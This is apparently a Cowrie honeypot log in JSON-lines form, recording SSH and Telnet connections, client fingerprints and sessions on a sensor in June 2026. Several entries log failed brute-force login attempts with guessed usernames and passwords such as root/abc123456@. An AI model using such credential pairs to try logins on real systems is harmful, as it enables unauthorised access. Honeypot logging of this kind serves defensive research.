{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:25.334007Z","src_ip":"152.32.214.226","session":"8a8dd537ea85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123","message":"login attempt [alex/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:26.245350Z","src_ip":"152.32.214.226","session":"8a8dd537ea85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:27.467710Z","src_ip":"152.32.214.226","session":"8a8dd537ea85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45298,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5f51f98984","protocol":"telnet","message":"New connection: 172.81.62.90:45298 (159.203.135.109:23) [session: 4a5f51f98984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:28.897435Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5850,"dst_ip":"10.17.0.5","dst_port":22,"session":"31a1718205e1","protocol":"ssh","message":"New connection: 196.188.93.169:5850 (10.17.0.5:22) [session: 31a1718205e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:29.394357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:29.402171Z","src_ip":"196.188.93.169","session":"31a1718205e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:29.576289Z","src_ip":"196.188.93.169","session":"31a1718205e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hr","password":"hr","message":"login attempt [hr/hr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:30.307128Z","src_ip":"196.188.93.169","session":"31a1718205e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:31.486077Z","src_ip":"196.188.93.169","session":"31a1718205e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"024a017018aa","protocol":"telnet","message":"New connection: 128.199.8.54:35822 (159.203.135.109:23) [session: 024a017018aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:44.529122Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39048,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3164b14cf39","protocol":"telnet","message":"New connection: 128.199.8.54:39048 (159.203.135.109:23) [session: e3164b14cf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:55.396830Z"}
{"eventid":"cowrie.session.closed","duration":0.005806922912597656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:55.402479Z","src_ip":"128.199.8.54","session":"e3164b14cf39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":41068,"dst_ip":"10.17.0.5","dst_port":22,"session":"4963defd28a7","protocol":"ssh","message":"New connection: 181.188.176.242:41068 (10.17.0.5:22) [session: 4963defd28a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:55.564123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:55.568512Z","src_ip":"181.188.176.242","session":"4963defd28a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:55.733799Z","src_ip":"181.188.176.242","session":"4963defd28a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"one","password":"123","message":"login attempt [one/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:56.430017Z","src_ip":"181.188.176.242","session":"4963defd28a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:54:57.598261Z","src_ip":"181.188.176.242","session":"4963defd28a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":50470,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd4f10b3fea4","protocol":"ssh","message":"New connection: 45.78.204.254:50470 (10.17.0.5:22) [session: fd4f10b3fea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:07.339903Z"}
{"eventid":"cowrie.session.closed","duration":42.940943002700806,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:11.838227Z","src_ip":"172.81.62.90","session":"4a5f51f98984","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:16.474379Z","src_ip":"45.78.204.254","session":"fd4f10b3fea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:16.478258Z","src_ip":"45.78.204.254","session":"fd4f10b3fea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:16.486251Z","src_ip":"45.78.204.254","session":"fd4f10b3fea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":36359,"dst_ip":"10.17.0.5","dst_port":22,"session":"9857be4a5753","protocol":"ssh","message":"New connection: 36.92.41.115:36359 (10.17.0.5:22) [session: 9857be4a5753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:31.034995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:31.039263Z","src_ip":"36.92.41.115","session":"9857be4a5753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:31.298221Z","src_ip":"36.92.41.115","session":"9857be4a5753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":6948,"dst_ip":"10.17.0.5","dst_port":22,"session":"867a8ee8f694","protocol":"ssh","message":"New connection: 177.85.247.230:6948 (10.17.0.5:22) [session: 867a8ee8f694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:31.904840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:31.909137Z","src_ip":"177.85.247.230","session":"867a8ee8f694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:32.012330Z","src_ip":"177.85.247.230","session":"867a8ee8f694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456@","message":"login attempt [root/abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:32.362583Z","src_ip":"36.92.41.115","session":"9857be4a5753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"1","message":"login attempt [dummy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:32.457017Z","src_ip":"177.85.247.230","session":"867a8ee8f694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:33.563538Z","src_ip":"177.85.247.230","session":"867a8ee8f694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:33.623680Z","src_ip":"36.92.41.115","session":"9857be4a5753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.787662982940674,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:34.316675Z","src_ip":"128.199.8.54","session":"024a017018aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":33726,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa323501f082","protocol":"ssh","message":"New connection: 45.123.217.22:33726 (10.17.0.5:22) [session: fa323501f082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:35.530182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:35.534457Z","src_ip":"45.123.217.22","session":"fa323501f082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:35.764409Z","src_ip":"45.123.217.22","session":"fa323501f082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ma123456@","message":"login attempt [root/Ma123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:36.719635Z","src_ip":"45.123.217.22","session":"fa323501f082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:37.961834Z","src_ip":"45.123.217.22","session":"fa323501f082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001699924469,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:42.128969Z","src_ip":"107.6.151.170","session":"339801cbfe06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51054,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb4c570174cb","protocol":"telnet","message":"New connection: 107.6.151.170:51054 (159.203.135.109:23) [session: fb4c570174cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:55:43.134640Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":36262,"dst_ip":"10.17.0.5","dst_port":22,"session":"87786fe6811b","protocol":"ssh","message":"New connection: 163.7.9.84:36262 (10.17.0.5:22) [session: 87786fe6811b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:05.013754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:05.018206Z","src_ip":"163.7.9.84","session":"87786fe6811b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:05.286350Z","src_ip":"163.7.9.84","session":"87786fe6811b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"share","password":"share@123","message":"login attempt [share/share@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:06.382121Z","src_ip":"163.7.9.84","session":"87786fe6811b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:07.650421Z","src_ip":"163.7.9.84","session":"87786fe6811b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":33966,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b0914160f0d","protocol":"ssh","message":"New connection: 152.32.214.226:33966 (159.203.135.109:22) [session: 8b0914160f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:12.308510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:56:12.312695Z","src_ip":"152.32.214.226","session":"8b0914160f0d","protocol":"ssh"}
